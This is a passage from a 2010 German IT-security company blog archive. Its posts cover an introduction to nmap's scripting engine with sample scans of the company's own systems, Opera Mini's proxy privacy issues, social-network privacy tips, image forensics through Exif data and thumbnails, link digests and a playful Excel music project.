Im dritten Teil werden wir die Entwicklung dieses NSE-Skripts vorantreiben. Dabei werden wir die Möglichkeiten der Version Detection von nmap ausschöpfen, um anhand der ermittelten Fingerprints komplexere Ableitungen umzusetzen. Mitunter werden wir Pattern-Matching und reguläre Ausdrücke miteinbeziehen, um verwundbare Versionen erkennen und dokumentieren zu können.

Marc Ruef

► 07.05.2010 – Nmap NSE Hacking, Teil 1: Einführung

Nmap steht für Network Mapper. Hierbei handelt es sich um ein quelloffenes Netzwerkutility, welches ursprünglich als Portscanner konzipiert wurde. Durch einen simplen Aufruf wie nmap www.scip.ch lassen sich die offenen Ports am entsprechenden Zielsystem identifizieren. Durch unterschiedliche Schalter wie -sT, -sS und -sU können hierfür verschiedene Scan-Techniken verwenden werden:

C:\Dokumente und Einstellungen\maru>nmap -sS 192.168.0.1

Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-24 10:33 Westeuropõische Normalzeit
Nmap scan report for 192.168.0.1
Host is up (0.013s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:1E:58:89:18:B2 (D-Link)

Nmap done: 1 IP address (1 host up) scanned in 4.98 seconds

Erweiterungen in der Software haben zusätzliche Möglichkeiten zur automatisierten Auswertung von Zielsystemen eingeführt. So lässt sich beispielsweise mit dem Schalter -O ein OS-Fingerprinting, bei dem das am Zielsystem eingesetzte Betriebssystem ermittelt wird, durchführen. Und mit -sV werden als offen identifizierte Ports einem Application Mapping (Identifikation des dargebotenen Anwendungsprotokolls), einem Application Fingerprinting (Identifikation des eingesetzten Produkts) und manchmal einer zusätzlichen Auswertung unterzogen.

Eine der grössten Erweiterungen bestand in der Einführung der Nmap Scripting Engine (NSE). Durch das Einbinden dedizierter Plugins können während der Laufzeit die von nmap zusammengetragenen Informationen ausgewertet, zusätzliche Tests initiiert und diese dokumentiert werden. zur Umsetzung von NSE-Skripten wird die imperative Programmiersprache Lua verwendet. Nachfolgend ein typisches Beispiel, wie mit dem Aktivieren der Script-Engine durch -sC die zusätzlichen Tests auf einem Webserver eingesetzt werden:

C:\Dokumente und Einstellungen\maru>nmap -sS -sV -sC www.scip.ch -p 80

Starting Nmap 5.21 ( http://nmap.org ) at 2010-03-24 11:10 Westeuropõische Normalzeit
Nmap scan report for www.scip.ch (192.168.0.10)
Host is up (0.0019s latency).
rDNS record for 192.168.0.10: www.scip.ch
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd | robots.txt: has 6 disallowed entries | /_img/ /_thm/ /vuldb/images/ /cgi-bin/ /tmp/ |_*index.html |_http-favicon: |_html-title: Sicherheit ist unser Gesch\xE4ft! • scip AG

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.03 seconds

Dank NSE ist nmap weitaus mehr, als nur ein Portscanner. Wir benutzen bei unseren Security Scans eigene NSE-Skripte, um einen moderierbaren Vulnerability Scanner zu realisieren. Hierfür schreiben wir einzelne NSE-Skripte, die eine erweiterte Auswertung der Zielsystem vornehmen. Als Resultat werden hauptsächlich gefundene Schwachstellen und Details zu diesen dokumentiert. Diese Resultate parsen wir in einem weiteren Schritt in eine Datenbank, in der wir sodann die Moderation der Daten vornehmen können. Durch die computergestützte Analyse unter Zuhilfenahme unseres zentralen Expertensystems können wir damit unsere Prüfungen effizienter und zuverlässiger gestalten.

Grundsätzlich wird der Schalter -sC verwendet, um einen Script-Scan einzuleiten. Innerhalb eines Skripts kann über das Feld categories eine Zuweisung unterschiedlicher Kategorien erfolgen. Diese werden in der unten abgebildeten Tabelle aufgelistet. Durch den Schalter --script lassen sich sodann Skripte aus einzelnen Kategorien oder spezifischen Unterverzeichnissen bzw. einzelne Skripte separat ausführen. Einige Skripte greifen auf dynamische Argumente zurück, die bei der Programmausführung durch den Schalter --script-args übergeben werden können.

Skript-Kategorie	Beschreibung
auth	Ermitteln von Authentisierungs-Credentials (z.B. Bruteforce)
default	Standard-Skripte, die beim Aufruf von `-sC` ausgeführt werden
discovery	Auswertung zugänglicher Dienste (z.B. Titel eines HTML-Dokuments oder SNMP-Einträge)
external	Skripte, die zwecks Weiterverarbeitung Daten an externe Dienste schicken (z.B. whois)
intrusive	Intrusive Skripte, die das Zielsystem (negativ) beeinträchtigen könnten (z.B. hohe CPU-Auslastung)
malware	Überprüfung der Infektion von Malware (Viren und Würmer)
safe	Defensive Skripte, die keine intrusiven und destriktiven Zugriffe durchführen
version	Erweiterung zum Fingerprinting mit dem Schalter `-sV`
vuln	Identifikation spezifischer Verwundbarkeiten (ähnlich einem Vulnerability Scanner)

Im Rahmen dieser mehrteiligen Artikelserie werden wir verschiedene Techniken zur Implementierung und Optimierung von NSE-Skripten diskutieren. Im zweiten Teil werden wir ein erstes Plugin schreiben. Dieses wird allgemeine Informationen des durch nmap durchführten Portscans weiterverwenden, um zusätzliche Details zu den Resultaten auszugeben. Anhand dieses Prozesses soll das programmiertechnische Prinzip von NSE-Skripten illustriert werden.

Marc Ruef

► 05.05.2010 – Spam und Mail-Verifikation

Das Spam-Volumen im Internet wird gegenwärtig von Sophos auf mittlerweile 97 % des Email-Aufkommens geschätzt. Die meisten Firmen und Privatpersonen greifen im Rahmen dieser Spam-Flut auf Spam-Filter zurück, die ungewünschte Nachrichten erkennen und filtern können sollen.

Zwischendurch erreichen uns Spam-Mails, die sich durch eine vermeintliche Legitimität durch den Spam-Filter schleichen konnten. Eines dieser Spam-Mails, welches eine junge Dame russischer Herkunft namens Lyudmila anpreist, erreichte uns heute morgen um 08:08 Uhr.

Ein Russian Bride Scam Mail

Soweit ist dies nichts Besonderes. Auffällig an diesem Schreiben ist jedoch, dass es an die Adresse dback-at-scip.ch geschickt wurde. Diese existiert jedoch nicht. Im BCC-Feld wurde die effektive Zieladresse angegeben, so dass das Email dennoch den Empfänger erreichen sollte.

Voraussichtlich sind die Spammer damit darum bemüht zu erkennen, ob eine Mailadresse legitim und erreichbar ist. Durch das Auswerten der Fehlermeldung, wie sie durch die inaktive Mailadresse generiert wurde, kann eine Delta-Analyse angestrebt werden.

Marc Ruef

► 30.04.2010 – Blog Digest April 2010

Nachfolgend interessante Beiträge zum Thema IT-Security des vergangenen Monats:

After the Afterword (09.04.2010), crypto.com
Anti-virus products compared in proactive test (14.04.2010), Graham Cluley, Sophos, sophos.com
BeyondTrust Report on Removing Administrator: Correct? (06.04.2010), Richard Bejtlich, taosecurity.blogspot.com
CSRF Isn’t A Big Deal – Duh! (14.04.2010), RSnake, ha.ckers.org
Call Centers for Computer Criminals (20.04.2010), BrianKrebs, krebsonsecurity.com
Charting the Carnage from eBanking Fraud (23.04.2010), BrianKrebs, krebsonsecurity.com
Close the Security Holes in your Firewalls! (29.03.2010), Xavier, blog.rootshell.be
Exploring Heap-Based Buffer Overflows with the Application Verifier (29.03.2010), blogs.cisco.com
Exploring the Facebook API (13.04.2010), Mark Baggett, pauldotcom.com
e-Banking Guidance for Banks & Businesses (06.04.2010), BrianKrebs, krebsonsecurity.com
Facebook privacy given a poor scorecard by WhatApp project (20.04.2010), Graham Cluley, Sophos, sophos.com
Finding Remote Vulnerabilities in a Trojan (23.04.2010), f-secure.com
From XSS to root: Lessons Learned From a Security Breach (14.04.2010), Toralv Dirro, google.com
Immunet: A Second Opinion Worth a Second Look (14.04.2010), BrianKrebs, krebsonsecurity.com
Manual Verification of SSL/TLS Certificate Trust Chains using Openssl, (Sun, Apr 25th) (25.04.2010), isc.sans.org
Measurement Over Models (18.04.2010), Richard Bejtlich, taosecurity.blogspot.com
Optimizing John the Ripper’s ‘Single’ Mode for Dictionary Attacks (23.04.2010), Matt Weir, reusablesec.blogspot.com
Penetration Testing: Learn Assembly? (04.04.2010), H.D. Moore, blog.metasploit.com
Protecting Sensitive Data in Email (29.03.2010), infosecblog.org
ROP and iPhone (16.04.2010), Vincenzo Iozzo, blog.zynamics.com
Some Large Website Please Do This Study (26.04.2010), Robert Graham, erratasec.blogspot.com
Study Reveals that Fewer than One in Ten Companies Evaluate Vendors or Train Employees on Cloud Security (06.04.2010), John Magee, symantec.com
Stuffing Javascript into DNS names (20.04.2010), Ron Bowes, skullsecurity.org
Targeted web-based malware – Case study (05.04.2010), sucuri.net
The Top 500 Worst Passwords of All Time (13.04.2010), riva11, symantec.com
To Each According To His Needs, Sam Curry, rsa.com
Trojanised Mobile Phone Game Makes Expensive Phone Calls (23.04.2010), f-secure.com
Why I’m right to use the word ‘hacker’, and will carry on using it (26.04.2010), Graham Cluley, Sophos, sophos.com
Young People, Privacy, and the Internet (20.04.2010), schneier, schneier.com

Marc Ruef

► 23.04.2010 – Schutzmassnahmen in Sozialen Netzen

Mit der Popularität sozialer Netze und der darin enthaltenen sensitiven Informationen steigt unweigerlich auch das Interesse am Schutz der Daten. Nachfolgend unsere Empfehlungen, wie man sich sicher in sozialen Netzen bewegen kann:

Nur bei Gebrauch anmelden: Das Einrichten eines Kontos und die Preisgabe von persönlichen Informationen bei einem sozialen Netzwerk sollte nur dann gemacht werden, wenn man in dieser Handlung einen konkreten Nutzen sieht. Was man nicht braucht, muss man auch nicht haben.

Minimale Preisgabe von Informationen: Im Internet im Allgemeinen und in sozialen Netzen im Speziellen sollte die minimale Menge an erforderlichen Informationen preisgegeben werden. Am besten stellt man nur jene Daten zur Verfügung, die zwingend für die Nutzung des Dienstes erforderlich sind oder die sowieso schon öffentlich zugänglich sind. Weniger ist mehr.

Keine sensitiven Daten: Es sollten keine wirklich sensitiven Daten preisgegeben werden. Also Daten, die bei einem Verlust unweigerlich zu Komplikationen führen könnten. Für manchen ist dies die Nummer des Mobiltelefons, für andere Fotos der eigenen Familie. Was sensibel ist, gehört nicht ins Internet.

Minimale Zugriffsrechte: Die jeweiligen Plattformen erlauben das Einschränken von Zugriffsrechten auf einzelne Datensätze. Von dieser Funktion sollte man Gebrauch machen, um den Arbeitskollegen wirklich nur Zugriff auf jene Details zu gewähren, die man im Arbeitsleben auch wirklich preisgeben möchte. Nicht jeder braucht Zugriff auf alles.

Einschränken des Freundeskreis: Soziale Netzwerke basieren darauf, dass man Freunde hinzufügen kann. Diese erhalten dann in der Regel erweiterte Zugriffe auf die Daten und aktuelle Meldungen. Der Freundeskreis sollte möglichst klein gehalten werden, um nicht jedermann zusätzliche Privilegien einzuräumen. Nur wahre Freunde akzeptieren.

Trennung von Arbeit und Freizeit: Mittlerweile gibt es Soziale Netze für jede Angelegenheit. Dabei sollte versucht werden Arbeit und Freizeit voneinander zu trennen. Dies betrifft sowohl die Informationen, die man freigeben will; als auch die Leute, die man als Freunde akzeptieren will. Xing und Facebook sind halt eben nicht das Gleiche.

Durchgehen der AGBs: Durch das Anmelden bei einem Anbieter eines Social Network geht man mit diesem einen elektronischen Vertrag ein. Die grundlegenden Vereinbarungen sind in den AGB (Allgemeine Geschäftsbedigungen) festgehalten. Diese sollten vor dem Akzeptieren stets durchgelesen werden, um nicht ungewollt irgendwelche Rechte abzutreten oder Verpflichtungen einzugehen. Lesen, Denken, Einwilligen.

Nicht benötigte Konten wieder löschen: Eine Anmeldung sollte nur dann ausgeführt werden, wenn man wirklich der Meinung ist, dass man das Soziale Netzwerk braucht. Wird im weiteren Verlauf von einer zukünftigen Nutzung abgesehen, sollte das Konto samt der beinhalteten Daten wieder gelöscht werden. Was nicht gebraucht wird, kann gelöscht werden.

Die Diskussion um den Schutz der Daten in sozialen Netzen hat verschiedene Modelle zur Klassifizierung hervorgebracht. Der bekannte US-amerikanische Kryptologe und Autor Bruce Schneier stellt Ende 2009 eine Taxonomie vor, in der das Vertrauen (Trust Level) als Grundlage dient. Sodann unterscheidet er zwischen fünf verschiedenen Datenklassen:

Nr	Typ	Beschreibung
1.	Dienstdaten	Für die Nutzung eines Dienstes erforderliche Grunddaten (z.B. Name, Alter, Kreditkartennummer)
2.	Freigegebene Daten	Auf eigenen Seiten freigegebene Daten (z.B. Blog-Posts, Fotos, Statusupdates, Kommentare)
3.	Anvertraute Daten	Auf anderen Seiten bzw. den Seiten anderer Benutzer veröffentlichte Daten (z.B. Kommentare)
4.	Anfallende Daten	Durch andere Benutzer über einem selbst veröffentlichte Daten (z.B. Erwähnung in Post, Foto mit mehreren Personen)
5.	Verhaltensdaten	Während der Nutzung des Dienstes anfallende Verhaltensdaten (z.B. Zeitpunkt von Logins, aufgerufene Seiten)

José Ignacio Orlicki erarbeitete auf der Basis von Schneiers Posting eine alternative Taxonomie, in der die Klassifizierung der bereitgestellten Daten anhand des Ort der Veröffentlichung angestrebt wird. Er unterscheidet dabei zwischen vier unterschiedlichen Klassen:

Nr	Typ	Beschreibung
1.	Gesammelte Daten	Durch den Provider gesammelte Daten (z.B. Netzwerkzugriffe)
2.	Öffentliche/Freigegebene Daten	Öffentlich freigegebene Daten (z.B. Name, Mailadresse)
3.	Soziale Daten	Nur mit den eigenen Kontakten geteilte Daten (z.B. Messages, Postings)
4.	Verkommerzialisierte Daten	Durch den Anbieter genutzte Daten, um personalisierte Werbungen auszuliefern (z.B. Ad-Banner, Werbemails)

Marc Ruef

► 16.04.2010 – Opera Mini für iPhone fehlende Privatsphäre

Das norwegische Unternehmen Opera entwickelt und vertreibt den gleichnamigen freien Webbrowser. Dieser ist ebenfalls als Opera Mini für verschiedene Mobiltelefon-Plattformen verfügbar. Durch Apple wird auf dem iPhone standardmässig Safari als Webbrowser angeboten. Seit dem 13. April 2010 wird jedoch als Alternative ebenfalls Opera Mini im AppStore angeboten. Nur Tage nach dem Erscheinen der App beherrscht diese Platz 1 der jeweiligen Download-Charts. Das Erscheinen von Opera Mini fürs iPhone ist damit zu einem Ereignis in der Tagespresse geworden.

Die Betrachtungen des Produkts in der Presse fokussieren sich in erster Linie auf die Handhabung, Funktionsumfang und Geschwindigkeit. Dabei wird den Sicherheitsfunktionen bzw. der Sicherheitsarchitektur gar keine Beachtung geschenkt.

Opera Mini fürs iPhone

Die Zulassung des alternativen “Webbrowsers” durch Apple hat Opera schlussendlich nur erhalten, weil sie keinen nativen Webbrowser (mit eigener Render-Engine) anbieten. Stattdessen stellen sie mit der App lediglich ein Frontend zur Darstellung der Seiten zur Verfügung. Die Daten werden durch Opera selber geladen und für Opera Mini umgewandelt. Eine solche Lösung wird Proxy-Browser genannt. Dies bedeutet, dass sowohl die Anfragen des Browsers als auch die Rückantworten des Servers stets über die Systeme von Opera laufen. Dies wird deutlich, wenn man die Zugriffe in den Webserver-Logs untersucht:

t06-09.opera-mini.net - [14:45:28] "GET / HTTP/1.1" 200 2193 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:28] "GET /_thm/reset-fonts-grids.css HTTP/1.1" 200 1392 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:28] "GET /_thm/base-min.css HTTP/1.1" 200 396 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:28] "GET /favicon.ico HTTP/1.1" 200 3262 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:29] "GET /firma/icon_labs.jpg HTTP/1.1" 200 1951 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:29] "GET /firma/icon_news.jpg HTTP/1.1" 200 2123 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:29] "GET /_img/spacer.gif HTTP/1.1" 200 42 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:29] "GET /firma/icon_dienstleistungen.jpg HTTP/1.1" 200 1542 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:29] "GET /_thm/style.css HTTP/1.1" 200 1337 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:29] "GET /vuldb/3.gif HTTP/1.1" 200 976 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:29] "GET /firma/icon_vuldb.jpg HTTP/1.1" 200 1950 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:29] "GET /vuldb/2.gif HTTP/1.1" 200 950 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:29] "GET /vuldb/1.gif HTTP/1.1" 200 901 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"
t06-09.opera-mini.net - [14:45:29] "GET /_img/scip-titel.gif HTTP/1.1" 200 5356 "Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15"

Hierbei ist zu sehen, wie der effektive Download durch den Host t06-09.opera-mini.net durchgeführt wird. Die Angabe des User-Agent (Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; de) Presto/2.4.15) entspricht damit auch nicht wirklich der Wahrheit, denn schliesslich wurde der Zugriff nicht durch das iPhone umgesetzt, sondern durch das Proxy-System abgewickelt.

Diese Anwendungs-Architektur führt das grundsätzliche Problem mit sich, dass Opera ein umfassendes Data Mining ihrer Benutzer betreiben kann. Einerseits lässt sich damit das Verhalten der Benutzer untersuchen und diese zum Beispiel für Werbezwecke zu missbrauchen. Andererseits könnten aber auch der sensitive Datenaustausch abgefangen und ausgewertet werden.

Wir raten Personen, die Wert auf ihre Privatsphäre legen, davon ab, von Opera Mini Gebrauch zu machen. Auf dem iPhone bleibt in diesem Fall vorerst nichts anderes übrig, als weiterhin mit Safari zu browsen. Denn nur bei diesem wird zur Zeit eine Direktverbindung gewährleistet, die eine Auswertung und das Auslesen des Datenverkehrs durch den Anbieter verhindert.

Marc Ruef

► 08.04.2010 – Ankündigung einer nmap NSE-Portierung von httprecon

Das httprecon project wurde 2007 ins Leben gerufen. Durch verschiedene Forschungen in Bezug auf das Verhalten von HTTP sowie das Umsetzen einer Implementierung zur automatischen Identifikation von Webserver sollte der Bereich des HTTP-Fingerprinting vorangetrieben werden.

Die Original-Implementierung von httprecon für Windows

Die quelloffene Lösung für Win32-Systeme erfreute sich grosser Beliebtheit und schon bald wurde der Wunsch geäussert, eine Portierung für nmap vorzunehmen. Dank NSE ist es möglich, die ursprünglich als Portscanner entwickelte Lösung modular um zusätzliche Tests zu erweitern. Verschiedene Skripte helfen dabei, Zielsysteme auszuwerten und potentielle Schwachstellen zu finden.

Wir haben vor einigen Wochen mit einer NSE-Implementierung von httprecon begonnen. Schon nach einigen Tagen konnte eine erste lauffähige Alpha-Version getestet werden. Wir versuchen dabei weitestgehend eine funktionale Portierung der Original-Implementierung vorzunehmen. Dabei sind wir jedoch ebenfalls darum bemüht, einige zusätzliche Funktionalitäten einzubringen. Als grosse Neuerung wird voraussichtlich ein Scoring-System eingeführt werden, welches zusätzlich zu den Hit-Matches ebenfalls eine Bewertung dieser zulassen wird. Fingerabruck-Eigenarten mit grosser Individualität können dadurch ein grösseres Gewicht beigemessen werden.

Eine frühe Alpha-Version der nmap nse-Implementierung von httprecon

In den kommenden Wochen werden wir eine mehrteilige Artikelserie zum Thema nmap NSE Hacking veröffentlichen. In dieser werden wir in die Entwicklung von NSE-Skripten einführen, unsere Erfahrungen sowie konkrete Implementierungen weitergeben. Als Abschluss dieser Serie wird die erste offizielle Version der NSE-Implementierung von httprecon folgen.

Update 07. Juni 2010

In der 7-teiligen Artikelserie zum Thema nmap nse Hacking wurde in Teil 6 die Umsetzung von httprecon diskutiert sowie auf der Webseite des Projekts die NSE-Implementierung zum Download bereitgestellt.

Marc Ruef

► 01.04.2010 – Musik mit Excel – Just Fun, no Profit

Die traditionelle Definition des Worts Hacking sieht den kreativen Umgang mit Technologien vor. Und dies ist zu einem hohen Grad auch unsere Einstellung. Unsere Mitarbeiter mögen die Herausforderung und das Spiel zugleich. Und so kommt zwischendurch das eine oder andere nicht ganz ernst gemeinte Projekt zustande.

Vor einiger Zeit habe ich in VBA (Visual Basic for Applications) eine Applikation namens ExcelMusix entwickelt, mit der sich in Excel Musik komponieren und abspielen lässt. Dabei benutze ich die folgende API-Funktion in kernel32.dll, um die Töne auf dem PC-Speaker ausgeben zu lassen:

Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

In den jeweiligen Zellen des Excel-Sheets können sodann die Töne und ihre Länge angegeben werden. Diese werden dann an die Funktion Beep() übergeben, um den Ton zu erzeugen. Dabei unterstütze ich unterschiedliche Darstellungen der Tonhöhen:

Funktion	Bezeichnung	Skala
`beep`	MIDI Notennummer	von `0` bis `88`
`noteenglish`	Notenbezeichnung in Englisch	von `G#0` bis `C8`
`notegerman`	Notenbezeichnung in Deutsch	von `Gis2` bis `c'''''`
`tone`	Tonfrequenz in Hertz	von ca. 1 bis ca. 15000 Hz (je nach Hardware)

Die Dauer des Tons wird in Millisekunden angegeben, wobei hier werte ab ca. 20 ms brauchbar sind, jedoch bei melodischen Liedern typischerweise mit ca. 100 ms gearbeitet wird. Ist das Lied im Sheet komponiert, kann es durch das Drücken auf den Play-Button abgespielt werden – Hierbei wird iterativ durch die einzelnen Tondefinitionen durchgegangen und diese ausgegeben. Sehr einfach lassen sich damit eigene oder bekannte Lieder umsetzen:

You are able to define your song in the columns defined on the left side. The three columns are divided into type, level and duration. The first column type defines the type of sound you would like to make. Possibilities are notenumber, noteenglish, notegerman and beep. The second column level defines the pitch level of the sound. The pitch level for beeps lies between 1 and 15000, the noteenglish and notegerman use their representation (e.g. C and E1) and the notenumber uses a note number from 1 to 88. Click play to listen to your song.

Für den experimentierfreudigen Benutzer mit Hang zu arithmetischen Beobachtungen lohnt sich das Umsetzen von Zahlenreihen. Exponentieller Wachstum in Bezug auf Tonhöhe und Tondauer haben zum Beispiel spezielle Effekte zur Folge, wie man sie von klassen Videogames her kennt. In diesem Sinne: Viel Spass am Gerät!

Marc Ruef

► 26.03.2010 – Blog Digest März 2010

Nachfolgend interessante Beiträge zum Thema IT-Security des vergangenen Monats:

8000 iPhone and Android users duped into joining smartphone botnet (09.03.2010), Graham Cluley, Sophos, sophos.com
A gentle introduction to return-oriented programming (12.03.2010), Tim Kornau, blog.zynamics.com
Beyond the Initial Compromise (18.03.2010), Greg Ahmad, symantec.com
‘Cloud’ Security Recommendations (24.03.2010), Paul Asadoorian, blog.tenablesecurity.com
Conversations With a Blackhat (14.03.2010), RSnake, ha.ckers.org
Cyber Crooks Leave Traditional Bank Robbers in the Dust (09.03.2010), BrianKrebs, krebsonsecurity.com
Data Exfiltration: How Data Gets Out (12.03.2010), csoonline.com
Evaluating statistical attacks on personal knowledge questions (04.03.2010), Joseph Bonneau, lightbluetouchpaper.org
Forget ROI and Risk. Consider Competitive Advantage (22.03.2010), Richard Bejtlich, taosecurity.blogspot.com
Fraudsters hone their attacks with spear phishing (04.03.2010), Posted by cdupuis, professionalsecuritytesters.org
Grade Hacking (13.03.2010), google.com
Hijacking Blackberry Internet Browsing (21.03.2010), MAX, remote-exploit.org
HPING3 Cheatsheet (03.03.2010), Posted by cdupuis, professionalsecuritytesters.org
IT Metrics Need a Shot of Innovation (12.03.2010), Jeff Foucher, ca.com
New Research Suggests That Governments May Fake SSL Certificates (24.03.2010), schoen, eff.org
Password Managers, is this the best option user’s have? (12.03.2010), Jeremiah Grossman, google.com
PDF Based Targeted Attacks are Increasing (17.03.2010), f-secure.com
Phishing craigslist – but is it malware? (12.03.2010), Pete, SophosLabs AU, sophos.com
SAP (12.03.2010), dennis, blogs.conus.info
SCADA, from a Security Point of View (06.03.2010), Xavier, blog.rootshell.be
Security Policies Must Be Enforced! (22.03.2010), Xavier, blog.rootshell.be
Smart Aleck Passwords (25.03.2010), f-secure.com
The Morphing PDF (17.03.2010), f-secure.com
The REIL language – Part I (07.03.2010), Sebastian Porst, blog.zynamics.com
The ultimate faceoff between password lists (11.03.2010), Ron, skullsecurity.org
Why Bob Maley’s Firing is Bad for All of Us (11.03.2010), Dennis Fisher, threatpost.com
XSS, SQL Injection and Fuzzing Barcode Cheat Sheet (24.02.2010), Robert A., google.com
Yep, There’s a Patch for That (05.03.2010), BrianKrebs, krebsonsecurity.com
Your APT Anti-Hype (01.03.2010), Paul Asadoorian, blog.tenablesecurity.com

Marc Ruef

► 19.03.2010 – Technische Bild-Forensik

Das für die Analyse verwendete Foto

Der Bereich der Forensik ist vielfältig. Im Rahmen dessen geht es jeweils um das Identifizieren von verborgenen Informationen und dem Erkennen von Zusammenhängen. Zum Beispiel kann versucht werden mittels Carving einzelne Dateien aus einem Datenträger zu extrahieren. Oder durch das Analysieren von Netzwerkkommunikationen kann versucht werden einen Angriff als solchen zu erkennen.

Der Bereich der Bild-Forensik ist nicht minder spannend. Zwei Mechanismen sollen nachfolgend vorgestellt werden. Sie helfen dabei Hinweise auf die Herkunft eines digitalen Fotos zusammenzutragen. Zum Zweck dieser Untersuchung wurde ein beliebiges Foto aus dem Internet heruntergeladen und analysiert. Es wird anbei dargestellt.

Exif-Tags – Bildinformationen auslesen

Das Exchangeable Image File Format ist ein Standard der Japan Electronic and Information Technology Industries Association (JEITA) für das Dateiformat, in dem moderne Digitalkameras Informationen über die aufgenommenen Bilder speichern.

Diese Metadaten enthalten grundlegende Details, die für eine Analyse von Interesse sein kann. Nachfolgend werden die vom Original-Bild extrahierten Exif-Daten dargestellt. Zu einem jeden Tag wird ein entsprechender Value bereitgestellt. Es werden nur die im Rahmen einer forensischen Untersuchung besonders interessanten Werte dargelegt.

Exif-Tag	Information
Make	KONICA MINOLTA CAMERA, Inc.
Model	DiMAGE G400
DateTimeOriginal	2006:07:08 12:49:17
DateTimeDigitized	2006:07:08 12:49:17
Flash	Flash not fired, auto mode
DigitalZoomRatio	0.00 x
SceneCaptureType	Standard
SubjectDistanceRange	Unknown

Zum Beispiel wird im Tag Make der Name des Herstellers der Kamera, die für die Aufnahme herangezogen wurde, ausgewiesen. Zusätzlich findet sich in Model die Modellbezeichnung des Geräts. So wurde für die besagte Aufnahme eine Konica Minolta DiMAGE G400 verwendet. Der Zeitpunkt der Aufnahme als solche wird im Tag DateTimeOriginal abgelegt. Sie erfolgte damit am 2006/07/08 um 12:49 Uhr (Wir haben als Fallbeispiel absichtlich ein etwas älteres Foto genommen).

Für das Foto wurde eine DiMAGE G400 verwendet

Ebenso finden sich einige grundlegenden technischen Informationen zur Konfiguration der Kamera. Zum Beispiel in Flash, ob ein Blitz verwendet, in Contrast, ob Anpassungen am Kontrast vorgenommen und in DigitalZoomRatio, welche Ratio des digitalen Zooms verwendet wurden.

Längerfristig werden vor allem GPS-Informationen, wie sie in den Tags GPSLatitude und GPSLongitude abgelegt werden, von Interesse sein. Gerade weil immer mehr Kameras einen entsprechenden GPS-Chip mitbringen und die Daten auch entsprechend taggen – So zum Beispiel das iPhone 3GS. Gerade anonyme Bilder, wie sie zum Beispiel in Erotik-Inseraten verbreitet werden, können so unter Umständen Rückschluss auf die Personendaten zulassen. Eine erste statistische Analyse in dieser Richtung im Zusammenhang mit Twitpic wurde von Johannes Ullrich publiziert.

Thumbnails – Originalbilder erkennen

Viele Kameras und Bildbearbeitungsprogramme speichern in den jeweiligen Bildern ein Thumbnail ab. Hierbei handelt es sich um eine kleinere Version des Bilds, die beispielsweise bei einer gekachelten Übersicht herangezogen werden kann. Da nur ein kleines Bild dargestellt werden will, muss auch nur eine kleine Version mit erheblich hoher Geschwindigkeit geladen werden (z.B. 120×90 anstatt 1280×960).

Oftmals werden Bilder weiterverarbeitet, ohne das Thumbnail des Original-Bilds anzupassen bzw. zu löschen. Erstmals grosse Aufmerksamkeit erlangte dieser Effekt, als die TechTV-Moderatorin Catherine Schwartz vermeintliche Portraitfotos von sich online stellte. Im Thumbnail des Bilds war jedoch klar zu sehen, dass dies ursprünglich eine Ganzkörperaufnahme ~~mit~~ ohne Kleidung war.

Dieser Effekt soll nun an nachfolgender Bildserie illustriert werden. Als erstes wird das effektive Original-Bild dargestellt, das als Thumbnail abgelegt wurde. Bei der Bildbearbeitung wurde sich entschieden, den im zweiten Bild markierten Bereich auszuschneiden und als neues Originalbild in der dritten Abbildung (Hund im Wasser) einzusetzen. Indem nun das Thumbnail des neuen Originalbilds extrahiert werden konnte, liess sich das effektive Originalbild (Mann mit Hund) ausmachen:

1. Das Original-Bild aus dem Thumbnail → 2. Der für das Ausschneiden definierte Bereich → 3. Der als neues Bild definierte Ausschnitt

Der Finne Tõnu Virolaismies Samuel bietet auf seiner Webseite einen auf PHP basierenden Crawler an, der automatisiert derlei Thumbnails ausmachen kann. In der Gallery sind einige schöne Beispiele dafür zu sehen, wie sich bisweilen ganz kuriose Originalbilder ausmachen lassen. Eric Schmidt, der CEO von Google hat diesen Effekt mit folgenden Worten abgetan:

If you have something that you don’t want anyone to know, maybe you shouldn’t be doing it in the first place.

Marc Ruef

► 12.03.2010 – Nessus generische Plugins für Webapplikationen

Die Entwickler von Nessus haben eine Reihe zusätzlicher generischer Plugins für Web Application Penetration Tests herausgegeben bzw. bestehende Tests erweitert. Das Ziel dieser ist, typische Schwachstellen – wie Cross Site Scripting und SQL-Injection – mittels Fuzzing zu identifizieren. Damit können also nun auch neue und nicht mit dedizierten Plugins abgearbeitete Schwachstellen gefunden werden:

ID	Name
44967	CGI Generic Command Execution Vulnerability (time based)
44136	CGI Generic Cookie Injection Scripting
44135	Web Server Generic Cookie Injection
44134	CGI Generic Unseen Parameters Discovery
